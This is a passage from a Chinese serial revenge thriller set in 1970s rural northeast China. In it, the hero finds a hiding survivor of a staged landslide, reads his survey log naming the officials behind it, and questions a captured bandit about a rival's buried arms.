“建军,若我出事,不要查,不要问。切记,当年那份情报,姓郑的经手。——杨卫国。”
旁边的周铁山看清这行字,皱起眉头。
“姓郑的。”周铁山咬牙切齿,“1945年压绝密情报的是他,1967年害死老杨的也是他!这是一个老王八蛋,还是一家子王八羔子?”
王建军痛苦地摇头。
“我当年收到这封绝笔信后,暗中摸过省里的底,可什么死证都捏不住。后来局势乱了,我只能把这信当命一样捂在抽屉底下。”
杨林松盯着那封遗书,没吭声。
八年前的冤雪,全砸进了他心窝子里。
既然这世道不给忠骨留活路,那他就亲手拿刀趟出一条血路!
他把信纸折好收起,接着将昨晚那张纸条递了过去。
“王叔,昨晚有人把这玩意儿塞我屋里了。”
王建军低头一看。
“姓陈的还活着?别去县城?”他低声念了出来,满眼惊疑,“这老陈又是哪路神仙?”
杨林松眼神锐利:“大炮叔回忆过,1967年我爹牺牲前,提过县地质队有个老陈,摸到了一个大秘密。”
“地质队……”王建军脑门渗出一层冷汗,起身在屋里转了两圈,突然停住脚步。
“1967年冬天,省里确实派了支地质队去黑瞎子岭!他们进山前的后勤补给,就是我这儿批的单子!”王建军拼命回忆,“带队的那个总工……对,就姓陈!”
周铁山急忙追问:“你见过他?”
“打过几次交道。那时候四十多岁,戴个黑框眼镜,嘴严得很。”王建军面色发白,似是想起了恐怖的旧事。
“后来翻过年没多久,听说他们在山里遭遇了塌方,沟底活埋了好几个!整支队的档案立刻被封死,县里还下了封口令。从那以后,那个陈总工就像人间蒸发了!”
听到塌方两个字,杨林松冷笑了一声。
杀人灭口,毁尸灭迹,真是好熟练的手段。
他站起身,将纸条重新揣好。
“王叔,谢了。这摊子烂泥,我自己往下蹚。”
王建军见他要走,一步跨出,一把攥住杨林松的手腕。
“林松!你爹是我这辈子认的唯一一个老首长!”
王建军双目赤红,压嗓子吼道,“他的仇就是我的仇!以后要掉脑袋的买卖,算我王建军一个!”
杨林松点点头,抽回了手。
刚走到门口,身后的王建军突然大喊一声。
“想起来了!那个陈总工的名字,我想起来了!”
王建军一巴掌拍在桌子上,死死盯着杨林松:
“陈远山!当年他来提货,单子上签的字,叫陈远山!”
第119章 林中黑影,就是那个味儿
杨林松心头一震。
“陈远山?”他死盯着王建军,“咋才能找到他?”
王建军摇头:“只有走正规渠道,找省地质局调档案卷宗。”
周铁山脸沉下来:“走正规渠道,等于给郑家递帖子,告诉他们有人翻旧账了。”
屋里没人吭声。
杨林松先开了口,一个字一个字往外蹦:
“那就走不正规的。”
说完,他把外头扣子系严实,两人朝外走去。
出了收购站,已过正午。
阿三窝在驾驶座里搓手哈气,看见对面人出来,赶紧拧钥匙打火。
引擎咳嗽了两声,吉普车吐出一股黑烟,颠颠地迎了上去。
周铁山拍了拍杨林松的肩:“回去再说。”
杨林松“嗯”了一声,手刚搭上车门把手,脚步钉住了。
他的视线锁在对面巷口。
一个穿灰棉袄的身影一闪,拐进巷子就不见了。
那人走得不快不慢。
微微含着胸,背有点驼。
脚掌落地,每一脚都稳稳当当,不是庄稼汉那种拖沓步子,也不是城里干部的碎步子。
杨林松没追。
他把那个方向、那个步态、那个含胸的角度,全都记进了脑子里。
然后拉开车门,上了车。
“先去趟邮局。”
吉普车拐了个弯,停在县邮局门口。
大年初一,邮局关着门,两扇木板拦得严严实实。但绿漆邮筒杵在墙根底下,筒盖上积了一层薄雪。
杨林松从怀里掏出沈雨溪的信封。
“沈建国”三个字端端正正写在上面,笔迹娟秀。
沈雨溪她爹。搞了一辈子军工的技术员,在东北带过地质援建队。
也许,这就是撬开这盘死棋的另一把钥匙。
信塞进邮筒,发出“咚”的一声闷响。
杨林松转身上车。
------
吉普车出了县城,一路往红星大队开。
午后的日头把雪原照得晃眼。
周铁山眯眼望着窗外,闷了半天,开口道:
“林松,你说昨晚给你塞纸条的人,会不会就是陈远山本人?”
“如果是他,干嘛躲着不见我?”杨林松反问,顿了一下,“如果不是他,那又是谁,想让我知道陈远山还活着,却拦着我别来县城?”
周铁山没接话。
车厢里只剩下引擎声。
杨林松靠在后座,闭上眼。
脑子里的线头一根一根往外扯,他挨个儿理。
1945年,情报被压。“姓郑的经手。”
1967年,绝笔信。“若我出事,不要查,不要问。”
地质队进山。陈远山。塌方。活埋。人间蒸发。
昨晚的纸条。关东旱烟,掺着雪花膏。
今天巷口,灰袄身影。含胸,驼背,脚步又稳又轻。
这盘捂了三十年的死局,终于有人憋不住了。
谁先冒头,谁先死。
------
吉普车到红星大队的时候,天已经擦黑。
老刘头从晒谷场迎上来,脚步急,声音压得很低:
“村里太平,沈知青那边我盯了一整天,人没出过院门,连窗户都没开几回。”
杨林松点了下头,目光往知青点方向扫了一眼。
窗户纸后头透出昏黄的灯光。
他没过去。
信已经寄出去了。剩下的,就是等。
他没有回土坯房,转身大步往村外走。
老刘头一愣:“天都黑透了,您上哪儿去?”
“黑瞎子岭。”
周铁山从车上跳下来,追了几步:“天黑进山,太冒险了!”
杨林松脚步不停,头也没回。
“纸条上说姓陈的还活着,又说别去县城。那这人只可能窝在两个地方,要么在老林子里猫着,要么就藏在村子里。”
他的声音被风扯得断断续续。
“我去洞口蹲一宿,也许能等到人。”
周铁山咬了咬后槽牙,一跺脚:“我跟你去!”
阿三也在后头嚷嚷着要跟。
杨林松回头扫了他一眼:“你腿还拐着呢,留下。老刘头,看好村子。”
两个人钻进夜色里。
三步开外,就叫黑暗吞了个干净。
老刘头站在村口,望着那片黑咕隆咚的大山,嘴里骂了句:
“这小子,真他娘是个疯种。”
------
黑瞎子岭深处。
积雪上浮着一层月光。风顺着山脊往下灌,呜呜的。
杨林松带着周铁山摸到熊神洞附近,找了个背风的石壁,蹲了下来。
风往脖领子里钻,气温还在一个劲地往下掉。
周铁山缩着脖子,两只脚在雪里来回搓,脚趾头冻得快没了知觉,他压着嗓门问:
“真要等一宿?”
杨林松盯着洞口,面无表情:
“等到天亮。有人来过,雪地上就会留脚印。没人来,就当冻了一宿的活。”
时间过得很慢。
月亮爬到头顶,又慢慢西沉。
周铁山的十个脚趾头已经完全木了,心里盘算着:这一宿怕是白蹲了。
这时,杨林松的手突然按住了他的小臂。
劲儿不大,但冷不丁这么一下,让周铁山浑身汗毛竖了起来。
他顺着杨林松的目光看过去。
远处。
林子边缘。
黑暗里,钻出来一个影子。
那人走走停停。
每走几步就回一次头。
浑身上下就两个字:警惕。
月光打在那人身上,步态清清楚楚。
含胸、驼背。
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脚掌落地,沉稳无声。
白天,县城,巷口。
一模一样的步子。
杨林松的右手伸向后腰,握住了三棱刺的刀柄。
他在等。
等那人再近一点,再近一步。
黑影摸到洞口,弯下腰,从怀里掏出一只手电筒,往洞里照了照。
光柱在洞壁上晃了两圈。
灭了。
那人又从怀里掏出什么东西,塞进了洞口的石缝里。
做完这些,直起身子,转身就走。
就是现在。
杨林松一个箭步窜出,雪面没有声响。
十几米的距离,他两个大跨步就到了。
黑影听到背后有风声豁开,猛地扭头。
腿刚迈出去,后脖领子已经被一只大手死死扣住了。
三棱刺的刃口贴上颈侧,紧挨着皮肉。
手电摔在雪地里。
那人全身绷紧,嗓子里挤出一句:
“别……别动手……我是来送信的!”
杨林松没收刀。
他另一只手扒开那人的领口,鼻尖凑了过去。
一股味道钻进鼻腔。
关东旱烟味,浓得呛人。
底下压着极淡的雪花膏味。
跟昨晚纸条上的,分毫不差。
杨林松手上的劲松了半分。
那人两腿一软,一屁股瘫坐在雪地里,撑着膝盖大口喘气。
月光落在那张脸上。
满脸的褶子,颧骨高凸,嘴唇干裂带着血丝。
一双眼睛里全是恐惧。
但恐惧底下,还藏着一种东西。
那种东西,杨林松见过。
在战场上,被围了七天七夜、弹尽粮绝的老兵听见援军号角的时候,眼睛里就是这种东西。
是解脱。
周铁山赶过来,手电光扫在那张脸上。
他盯着看了三四秒,倒吸了一口冷气。
吸得太猛,冷风呛进气管,差点咳出来。
“你……你是陈远山?!”
那人慢慢抬起头,嘴角扯了一下。
“八年了。”
他的声音干涩。
“终于有人……还记得这个名字。”
杨林松把三棱刺插回后腰的鞘里,蹲下身子,跟他平视。
两双眼睛对上,一双冷,一双抖。
“纸条是你放的?”
陈远山点了下头。
“为什么让我别去县城?”
陈远山没马上答。
他叹了口气,憋了八年的霉味全在那一口气里。
他哆哆嗦嗦地抬手,指向洞口的石缝。
杨林松站起身,两步走到洞口,手伸进石缝里,摸了摸。
掏出来一个东西。
是一个破旧的牛皮本子。
封面磨得快看不出颜色了,边角卷起了毛边。
“看完这个,你就全明白了。”
第120章 八年的鬼,活着回来了
周铁山凑过来,手电光打上去。
杨林松翻开第一页。
铅笔字迹歪歪扭扭,但一笔一划都使了狠劲,刻得纸面上全是沟。
“1967年3月,黑瞎子岭地质勘探日志。记录人:陈远山。”
往下翻。
日志记得很详细。
哪天测了哪个断面,岩芯取了多少米,地层分布有什么异常,全写得清清楚楚。
翻到中段,笔迹突然变了。
字变大了,笔画变潦草了,握笔的手明显在发抖。
“3月21日。在黑瞎子岭北坡冲沟发现人工痕迹。初判为战时工事遗存。拍照取样。准备明日上报。”
“3月22日。突接上级命令:停止一切勘探,全员即刻撤回县城。命令由省革委通过电报下达。签批人:郑鸿运。”
“3月22日深夜。营地发生塌方。老马、小刘、张技术员被埋。我从帐篷侧面爬出来,后背被石头砸伤。回头看的时候……”
笔迹在这里顿住了。
“……塌方区的边缘太整齐了。不是天灾。”
杨林松的手指停在纸面上。
“郑鸿运”三个字下面,被记录者用铅笔狠狠划了两道。
力气太大,纸差点划破。
他合上日志。
陈远山跪坐在雪地里,脸上全是泪。
泪珠子滚下来,还没到下巴就冻成了冰碴子,挂在胡茬上。
“他们以为我死了。”
陈远山的声音在抖。
不是冻的,是憋了八年的东西往外涌,堵在嗓子眼里,上不去下不来。
“这八年,我改名换姓,钻进深山老林子里,靠打猎采药苟着一条命。”
他吸了一下鼻子,用袖子胡乱抹了一把脸。
“不敢露面,不敢找任何人。”
“因为我心里头门儿清,只要我活着冒了头,郑家的人一定会来灭口。当年他们能把一整支地质队活埋,再多埋一个我,跟捏死只蚂蚁没两样。”
他死死盯着杨林松,眼白泛着黄。
“但我听说了。”
他的嗓子嘎了一下。
“杨卫国的儿子活着,还找到了那个洞。”
陈远山抹了一把眼泪鼻涕,声音突然稳了。
不是不怕了,是豁出去了。
“我知道,这是我这辈子,唯一的机会。”
杨林松沉默了几秒。
风在耳边呜呜地嚎。
他把那本日志收进怀里。
日记本、遗书、日志。
三样东西紧紧叠在一起,贴着心口窝子。
沉甸甸的,硌得胸骨发疼。
三十年的冤,八年的鬼,一个儿子的命。
全压在这儿了。
杨林松伸出手,一把攥住陈远山的手腕,把他从雪地里拽了起来。
力道很重。
重到陈远山的脚后跟离了地,整个人被提起来半寸。
“从今往后,你跟我走。”
杨林松声音不高,却字字带劲。
“这八年欠你的命,咱们一笔一笔,讨回来。”
------
三人连夜赶回红星大队。
天蒙蒙亮的时候,陈远山坐在大队部办公室的火炉边,捧着一碗热姜汤。
碗里的热气往上冒,模糊了他的脸。
但谁都看得见,他那十根手指还在抖。
炉子烧得噼啪响。
屋里的人围了一圈。
王大炮拄着条凳,死盯着陈远山那张脸,腮帮子上的肉一蹦一蹦的。
周铁山靠在墙边,两条胳膊抱在胸前,指缝里夹着香烟,烧到了指根才烫得一激灵,赶忙甩掉。
沈雨溪站在门边,眼眶红红的,嘴唇抿得紧紧的,一声没吭。
老刘头和阿三守在门外头,一个盯左边,一个望右边。
陈远山把最后一口姜汤倒进嘴里。
碗搁在膝盖上。
手还是抖。
他慢慢抬起头,一张脸一张脸地看过去。
年轻的,年老的,带伤的,红眼的。
每张脸上都写着同一样东西。
“八年了。”
他嗓子哑得快出不了声了。
但这句话,他说得很清楚。
“我终于回来了。”
------
天光大亮,炉火已经续了三回。
陈远山靠在炉子边,脑袋一点一点往下栽,最后整个人歪在条凳上,不动了。
呼噜声起来了。
不大,但很沉。
憋了八年,这会儿终于敢松开嗓子眼往外放了。
王大炮搬了条破军毯过来,动作难得这么轻。
毯子搭在陈远山身上。他蹲下来看着那张脸。这嘴唇,这皱纹,五十出头的人,活活熬成了七十岁的相。
“八年了。”王大炮压低嗓门,“这老哥怕是没睡过一个囫囵觉。”
没人接话。
屋里除了呼噜声,只有炉
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子里的噼啪响,偶尔蹦出一颗火星子,落在地上灭了。
------
杨林松推开门,走到后院。
风小了,日头出来了,雪原白晃晃依旧。
他从兜里摸出根烟,划了根火柴点上。
周铁山跟了出来,凑着他的火头借了个火。
两根烟头在冷风里明明灭灭,谁都没急着开口。
“接下来咋整?”
周铁山吐出一口白气,先开了腔。
“人带回来了,总不能一直窝在大队部。人多嘴杂的,捂不了几天。”
“先让他养几天,吃上口热乎饭,缓过劲儿来。”
杨林松弹了弹烟灰,嗓音沉下去半截。
“然后问清楚,当年除了郑鸿运签批那道电报,底下还有谁经手过。签字的是脑袋,动手的才是刀。要杀人,得先把刀找出来。”
周铁山点头。
两人各抽各的,没再多说。
沈雨溪从前院绕过来,端着个搪瓷盆。
“粥,小米的。”她把盆递过来,“知青点借的粮,先对付一顿。”
杨林松接过盆。
手碰到她的指尖,很凉。
“信寄出去了,等回信吧。”
沈雨溪点了下头,往后退了半步,把手拢进袖子里。
杨林松端着盆往屋里走,走了两步,头也没回。
“回去换副厚手套再出门,冻掉手指头,以后谁给我画图?”
沈雨溪嘴角弯了一下,转身走了。
------
上午。
老刘头从村口方向快步走进大队部,跺了跺脚上的雪泥,推门进屋。
“杨爷,卫生院那边传话过来了。”
他压着嗓门,“咱们送去的那个活口,烧退了,人醒了。就是还虚得很,下不了地。”
周铁山靠在窗边,把烟头按灭在铁皮盒里。
“醒了就好。过两天我去审,把他嘴里最后那点货全给掏干净。”
杨林松没接话,只是点了下头。
目光始终挂在炉边,那个睡着的人身上。
陈远山翻了个身,军毯从肩头滑下来,露出半截皮包骨的胳膊。
杨林松起身,弯腰把毯子拽上去,顺手掖了掖边角。
动作不重,还有些笨拙。
老刘头和阿三对视了一眼。谁都没吭声,但心里头同时冒出了同一个念头:
这小子心里,已经把陈远山当自己人了。
第121章 陈远山的八年孤坟
傍黑儿。
天刚擦黑的时候,陈远山醒了。
他噌一下直起身子,俩眼睛在屋里瞎踅摸。
炉火映着他的脸,眼里全是慌。
他不知道自己在哪儿,也不知道身后有没有追兵。
这份慌,怕是跟了他整整八年。
过了好半天,他才认出炉子、条凳和墙上那面红旗,肩膀一寸一寸松下来,长长吐出一口浊气。
杨林松推门进来,手里端着个搪瓷碗,热粥冒着白气。
“吃点东西。”
陈远山接过碗,没急着喝。
手还在抖,碗沿磕在下嘴唇上,咯咯响了两声,粥溅出来几滴,烫在手背上也不擦。
杨林松在他对面坐下。
没催。
他从怀里掏出三样东西,一件一件摆到陈远山跟前:
日记本。
遗书。
勘探日志。
三样东西并排搁在木桌上,纸边儿全都泛黄了。
陈远山的目光先落在日记上。
他伸手一翻,看见“杨卫国”仨字儿,整个人一下子钉住了。
生怕多眨一下眼,那仨字儿就从纸上飞走了。
然后是那封信。
“建军,若我出事,别查,别问。切记,当年那份情报,姓郑的经手。——杨卫国。”
陈远山的手彻底稳不住了。
碗往桌上一放,粥洒出来一圈。
他把那封信翻过来掉过去看了三遍。
第一遍,皱眉。
第二遍,咬牙。
第三遍,眼眶红了。
“杨卫国……”
嗓子干哑得能擦出火星子。
“果然是这么回事,他也是被他们害的。”
杨林松没动。
就那么坐着,两手搁膝盖上,看着陈远山,等他把这口气缓过来。
炉子里一截烧透的松木塌了下去,火光矮了一截,又慢慢窜上来。
过了老半天。
陈远山用袖子抹了把脸,抬起头。
这一回,眼里没怕了。
剩下的,又干又硬。
就像河床熬干了,就剩一层再也泡不软的硬壳。
“你想知道当年的事儿。”陈远山说。
杨林松点点头。
陈远山端起碗,把剩下的粥一口灌进去。
碗底往桌上一磕,咚的一声闷响。
“队里有个副队长,姓李。”
他嗓子还是哑的,但不抖了。
“他是郑鸿运安插进来的人,别人不知道,我知道。”
陈远山眼神往左下方飘了飘,翻着脑子里的老账。
“我亲眼撞见过,他跟省里来的秘书在县招待所碰头,两人关着门,窗帘拉得死死的。我从走廊过,隔着门板都能听见里头压着嗓子吵。”
杨林松没插言。
“塌方那天晚上,就是这个李副队长,让我跟老马他们去北坡冲沟底下补采样。”
陈远山攥紧了拳头。
“三月份的冻土层,冻得跟铁板似的,谁他娘大半夜去采样?”
他喘了口粗气,接着往下说:
“可他是副队长,命令就是命令。”
“我们到了沟底,刚把帐篷支起来,头顶就塌了。”
声音低了下去。
“先是咔嚓一声,接着整个坡面往下垮,冻土块砸下来,比磨盘还大。”
“老马头一个被埋。他当时正蹲那儿系鞋带,连一声都没喊出来。小刘扑上去想拉他,第二波土砸下来,俩人直接盖严实了。张技术员刚跑两步,一块石头砸在后脑勺上……”
陈远山闭上眼。
“我命大。帐篷侧边被一根倒下来的树杈子撑住一角,留了条半人宽的缝。我从底下爬出来时,满嘴是土,眼睛让沙子糊住,啥也瞅不见。”
他睁开眼,眼里的血丝比刚才更密。
“等我把眼睛擦干净,回头一瞅……”
声音冷了。
“塌方那断面太齐整了。一条线,笔直笔直的。老天爷塌下来的土,断不成那个模样。”
他盯着杨林松的眼睛,一个字一个字往外砸:
“那不是天灾,是人干的。”
杨林松右手搭在膝盖上,五根手指一根一根攥紧,指节咔咔响了两声。
“后来呢?”
“后来?”陈远山撇了下嘴,笑得比哭还难看。
“后来这个李副队长调走了。调哪儿去了,不知道。走之前还特意回来看了一趟现场,在沟边上站了足足十分钟。”
“你猜他干了啥?”
陈远山嘴角扯了一下。
“他蹲下来,捡块碎石头,朝沟底一扔。石头砸在埋人的土堆上,弹了两下。”
“然后他站起来,拍拍手上的土,扭头跟县里来的人说:自然塌方,不可抗力。”
“档案一封,封口令一下。活着的人,一个字都不准提。”
周铁
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山不知道啥时候靠在了门框上。
听到这儿,他一巴掌拍在门板上,震得门轴上的灰扑簌簌往下掉。
杨林松抬手,朝周铁山那边压了压。
周铁山咬着牙,硬生生把火气压了回去。
“这个李副队长,全名叫啥?”杨林松问。
陈远山眉头拧成一团,嘴唇动了好几下。
“叫……”
他闭上眼,额头上青筋跳了两跳。
八年了。
有些名儿,被刻意埋在记忆最深处。
不是忘了。
是不敢想。
因为每想一回,那天晚上的土腥味就重新灌进鼻子里。
“李国华。”
这仨字从嗓子眼里挤出来时,陈远山后背啪一下绷直了。
“跟我岁数差不多,瘦高个儿。说话慢条斯理,笑起来眼睛眯成一条缝,瞅着挺面善。”
他抬手比了比自己左眉角。
“但这儿有道疤,月牙形的,深得很。”
“平时刘海盖着看不出来,只有风大把头发吹开了,才露出来。我见过一回,记老牢了。”
周铁山从门框上弹起来,两步走到桌前,掏出小本子,铅笔头写下“李国华”仨字,又在旁边补了一行:“左眉,月牙疤。”
“能在当年那个位置当上副队长的,不是一般人。”周铁山合上本子,拿笔杆在封皮上敲了两下,“这号人,现在少说也是个科长,搞不好爬得更高。”
他抬起头,眼里全是狠劲儿:
“我去查!”
杨林松站起身。
走到窗跟前,推开半扇窗户。
冷风灌进来,炉火晃了一下,火舌往旁边一歪,又直了起来。
窗外,黑瞎子岭的轮廓压在天边。
积雪盖住了所有棱角,远瞅着安安静静。
可那底下埋着啥,谁心里都有数。
“郑鸿运是脑袋。”
杨林松背对着屋里人,一字一顿。
“李国华是刀。”
他关上窗,转过身。
炉火映在他脸上,一半亮,一半暗。
“脑袋得砍,刀得折,一个都跑不了。”
陈远山端着空碗,仰着头瞅着这个年轻人。
二十岁。
比他当年带队进山时还小二十多岁。
可那双眼睛,他太熟了。
狠。
稳。
不回头。
陈远山的手,终于不抖了。
第122章 三千块买条命,值吗?
两天后。
陈远山气色好多了。
杨林松让王大炮把他安顿在大队部后院的杂物间,对外就说是来帮着修锅炉的远房亲戚。
村里没人多嘴。
经过那一夜的死磕,红星大队的老少爷们瞅着杨林松身边多个人少个人,都练出同一个本事——
闭嘴。
这天一早,周铁山刚撂下电话,从办公室出来,脸上的褶子松了半拉。
“卫生院捎话过来了,那活口烧退了,精神头也回来了,能开口了。”
杨林松正蹲在院子里啃冻梨,汁水顺着虎口往下淌。
听见这话,他把梨核往墙根一扔,站起身,拿袖子抹了抹嘴。
“走。”
阿三发动吉普车。
一路上谁也没吱声。
车过了十里坡,杨林松才开口:“周叔,待会儿你问,我听着。”
周铁山扭过脑袋瞅了他一眼:“你不上手?”
“不用。”
杨林松往后座一靠,半眯着眼。
“这人胆儿早碎成渣了,你正常问,他就正常撂。”
顿了一下。
“要是答得不痛快……”
他没往下说。
周铁山也没再问。
有些话,说半截比说全了管用。
------
公社卫生院。
走廊里来苏水味儿还是那么冲。
墙上刷着半旧的红漆标语:“救死扶伤,实行革命的人道主义”,笔画缺了几个角,也没人补。
值班护士一瞅周铁山那身军装,二话不说就把钥匙递了过来。
病房门一推开。
那土匪半躺床上,左腿打着石膏,吊在铁架子上。
脸上的肉塌了一圈,颧骨支棱着,眼珠子往门口一转。
他一眼就认出杨林松了。
活阎王来了!
土匪喉结滚了一下,身子往枕头里缩,可没躲成。
不是不想躲,是腿吊着,躲不了。
周铁山拉过一把椅子坐下,军帽摘下来搁膝盖上,一副公事公办的架势。
杨林松没坐,他走到窗根儿底下,背靠着墙,两手揣进大衣兜,半耷拉着眼皮,一副懒懒散散的样儿。
好像来这儿就是为了晒晒太阳。
可那土匪的眼睛,一直死死黏在他身上,半点儿不敢挪开。
床尾卡上写着这土匪的名儿:马小栓。
周铁山开门见山:
“马小栓,我问你,郑少华让你们来找军火,给你们啥好处了?”
马小栓嘴唇哆嗦两下,嗓子干得冒烟。
他伸手去够床头柜上的搪瓷缸,手抖得厉害,水洒了半拉在被子上。
灌了两口,才挤出声儿:
“他说……事成之后,一人三千块。”
停了停,又补一句:
“还说,给安排到省城工作,正式的,有编制。”
周铁山冷笑一声:
“呵,三千块!老子一个月工资才四十来块,顶我干六七年!”
笑完,声音一下子硬了:
“你们头儿呢?”
“头儿好处肯定更多。”
马小栓声音蔫了下去。
“具体多少,他没跟我们透底。但他跟郑少华单独唠过一回,回来整个人就变了。”
“咋变的?”
“话少了。”
马小栓咽了口唾沫。
“以前他嘴皮子溜得很,啥事儿都爱叨叨两句。那次回来,跟换了个人似的,成天阴着脸,动不动就骂人。”
“我们私底下都嘀咕,说头儿这是接了个要命的活儿。”
周铁山铅笔在本子上刷刷记,头都没抬。
窗边的杨林松动了。
不是动身子,是动嘴。
“你见过郑少华本人?”
马小栓脖子一僵,视线从周铁山身上弹到杨林松脸上,又赶紧缩回去。
他点了下头。
“跟着头儿见过两回。”
“在哪儿?”
“一回在县城。”
马小栓舔了舔嘴唇。
“在一个招待所后院,黑灯瞎火的。他就露个面,说几句话就走了,前后不到十分钟。”
“第二回呢?”
“第二回在省城,一个小饭馆包间里。那次待得长点,也就小半个钟头。”
杨林松没追着问细节,他问了另一件事:
“他身边跟着啥人?”
马小栓眉头一拧,眼珠子转了转:
“每回见面,他身边都跟着三四个人,穿军大衣,个头都不矮。”
说到这儿,他顿了一下,接下来的话,声音又压下半截:
“可瞅着不像正经当兵的,走路架势不对,眼神也不对。”
杨林松眼皮抬了半寸。
就这半寸,马小栓肩膀往被子里又缩了一截。
杨林松没再问,可脑子里的线已经串上了。
那三个死了的洋鬼子。
那辆底盘焊了铅板的解放大卡。
吴德贵吉普车后座里塞的那头灰狼。
还有今儿这句,“瞅着不像正经当兵的”。
一根绳上拴的蚂蚱,蹦跶起来都是一个德行。
周铁山把本子翻到新一页,铅笔杵在纸上,抬眼:
“他提没提过,弄着这批军火之后打算干啥?”
马小栓眼珠子往下一转,这一回,声音压得更低了:
“他说……”
喉结又滚了一下。
“有了这批硬家伙,整个东北的地下买卖,都得听他的。”
停了两秒。
“还说……省里有人罩着,谁也不敢动他。”
最后几个字出来的时候,他手指死死攥住被角。
周铁山铅笔尖在纸上戳出一个洞。
他盯着那个洞瞅了两秒,腮帮子上的肉跳了一下。
“省里有人罩着。”
他把这六个字重复一遍,每个字都是从后槽牙缝里挤出来的。
杨林松转头瞅向窗外。
阳光照在院里的积雪上,白得发蓝。
他没再问了。
该问的都问完了。
剩下的,这种小喽啰肚子里也倒不出来。
三千块钱一条命,搭进去的时候,连自己在给谁卖命都没整明白。
可悲。
也可恨。
------
俩人出了病房。
走廊里,护士推着药车过去,轮子滚在地上咕
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噜噜响。
周铁山把笔记本揣回兜里,掏出烟,递一根给杨林松。
两根烟点着,烟雾在走廊里飘两下,被穿堂风扯散了。
“这个郑少华,比他爹还狂。”
周铁山吐出一口烟,声音硬邦邦的。
杨林松把烟夹在食指和中指中间,没急着接话。
走出卫生院大门,脚踩在台阶下面的碎冰上,咯吱一声脆响。
他站住了。
“他身边那帮穿军大衣的。”
周铁山扭过脑袋瞅他。
杨林松把烟头碾灭在鞋底下,碾得慢,碾得实。
“瞅着不像正经当兵的,十有八九是从边境那头雇来的亡命徒。”
周铁山脸一下子沉了,眉心的竖纹挤到一块儿。
杨林松没给他消化的工夫,接着说:
“还有一事儿。”
他偏过头,盯着周铁山的眼睛。
“黄五爷那帮人折了。铁脑壳死了,老鬼废了,阿力进去了,吴家兄弟也完蛋了。”
他一个一个数着。
“郑少华手底下,能用的刀全卷刃了。”
周铁山没说话,可指缝里那半截烟,都被捏瘪了。
杨林松瞅着灰蒙蒙的天:
“一条狗死了,主人还会再养一条。”
他声音平平的。
“而且这回,他会找更狠的。”
“你是说……他还敢动手?”周铁山问。
杨林松没答。
他拉开车门,拍了拍阿三的椅背。
“走,绕个道。”
------
吉普车没直接回村。
阿三按杨林松指的道,拐上了往黑瞎子岭外围去的那条土路。
路面颠得人屁股疼。
车停在一片红松林边上,再往里,就没道了。
杨林松推门下了车。
风从山脊上倒灌下来,一股脑往鼻子里钻。
他站在雪地里,面朝山里头。
熊神洞的方向。
那个地方,埋着关东军的军火,埋着抗联英雄的遗骨,埋着他爹的秘密。
周铁山跟过来,在他身后三步远的地方站住。
“想啥呢?”
杨林松没回头:
“在想,这批军火该咋处理。”
大衣下摆被风贴在腿上,又被下一阵风扯开。
周铁山沉默几秒:
“按规矩,得上交国家。”
杨林松点了下头:
“我知道。”
他转过身,瞅着周铁山,眼神很平静。
“但上交之前,得先用它钓出更大的鱼。”
周铁山跟他对视三秒。
没点头,也没摇头。
他右手伸进兜里,攥住了那本写满名字的小本子,攥得指骨咯咯响。
雪粒子打在俩人脸上,细细的,带着刺。
杨林松把大衣领子竖起来,往车那边走。
走了两步,站住。
“周叔。”
“嗯?”
“这条线,从1945年到现在,三十一年了。”
杨林松的声音被风裹着,传出去老远,听不出喜怒。
“他来一个,我收一个。”
“来一群,我就全收了。”
第123章 三十一年的账,翻到第一页了
吉普车颠了一路,进红星大队的时候,天已经擦黑了。
王大炮蹲在大队部院墙根底下,后背抵着墙皮,一根烟快烧到手指头了还没扔。
听见引擎声,他掐灭烟头,撑着膝盖站起来迎了两步:
“咋样?那孙子招没招?”
周铁山摘下帽子,没废话,三两句把审讯结果捋了一遍:
郑少华许的价码,三千块一条命。
省里有人罩着。
身边跟的人不像正经当兵的。
王大炮听完,往地上啐了一口:
“三千块一条命,这帮孙子真他妈不值钱!”
火气窜得快,两边腮帮子绷得紧紧的。
他是打了大半辈子仗的人,最瞧不上的就是拿命换钱的货。
杨林松没接话,脚尖把门口的碎冰碴子踢开,往后院方向瞅去。
后院杂物间的门“吱呀”一声,陈远山端着个缸子出来了。
气色好不少,脸还是瘦,但不黄了,眼珠子里的光也聚住了。
缸子搁在窗台上,他往前凑了两步,压着嗓门问:
“那胡子还吐出啥有用的没?”
杨林松把郑少华身边跟的人单拎出来说了,不多不少就那几个字:
“穿军大衣,个头不矮,走路架势不对,眼神也不对。”
陈远山眉头拧成个死结:
“边境上雇来的亡命徒。”
“我当年在林子里见过。”
所有人齐刷刷盯在他脸上。
陈远山搓了搓手,指节上的冻疮裂着口子,往外翻着红肉:
“那帮人下手狠,不讲规矩,比土匪难对付。”
他顿了一下,“土匪好歹还有个码头,有个山头,做事讲三分路数。这帮亡命徒连命都是借来的,逮着啥咬啥。”
再顿一下,声音更沉:
“郑少华能雇这种人,说明他不光有钱,背后还有路子。”
院子里安静了三秒。
风把雪沫子卷起来,打在脸上,扎得生疼。
周铁山把烟头踩灭,开了口:
“眼下咱手里有两条线。郑少华那边,至少知道他打的啥算盘了;李国华那边,还得摸清他现在窝在哪个耗子洞里。”
杨林松点点头:
“李国华的事不急,他跑不了。先盯住郑少华,他要是再敢往这边伸手,正好收网。”
他偏过头,看向老刘头:
“老刘头,明天初五,黑市年后头一个大集,你过去摸摸郑少华的底。他的钱从哪儿来,货往哪儿走,底下还有几条狗,能问多少问多少。”
老刘头抱着膀子,下巴一点:
“放心,我老刘头别的不行,套话是祖传的手艺。”
周铁山把笔记本翻出来,拿笔杆在封皮上敲了两下:
“明天我回一趟公社武装部,查李国华的档案。这人从地质队调走之后落了哪儿,总该有记录在案。”
杨林松嚼着后槽牙说:
“小心点,别让人盯上。查的时候别用自己的名义,找个由头绕一下。”
停了半拍,“周叔,明天你和老刘头都出门,各走各的路,别凑一块儿。”
两人都应了。
话刚落定,沈雨溪从屋里出来了。
手里端着个搪瓷盆,热气腾腾的——玉米面窝窝头码得整整齐齐,旁边搁了一碟子咸菜疙瘩。
“先吃饭。”
她把盆往木桌上一搁,“天大的事儿也得填饱肚子再说。”
众人围过来。
阿三也从车里钻出来,拐着腿蹭到桌边,伸手先拿了俩窝头,一口咬下去半拉。
院门关上。
铁皮炉子搬到屋檐底下,火光映在一圈人脸上,忽明忽暗。
杨林松咬了口窝头,嚼了两下,嘴里的东西还没咽干净,突然开口了:
“陈叔。”
陈远山抬头。
“除夕那天晚上你给我塞纸条,纸上除了旱烟味,还有一股雪花膏的味儿。”
嚼窝头的动静全停了。
整个院子就剩炉膛里的火在噼啪响。
“旱烟味我理解。”
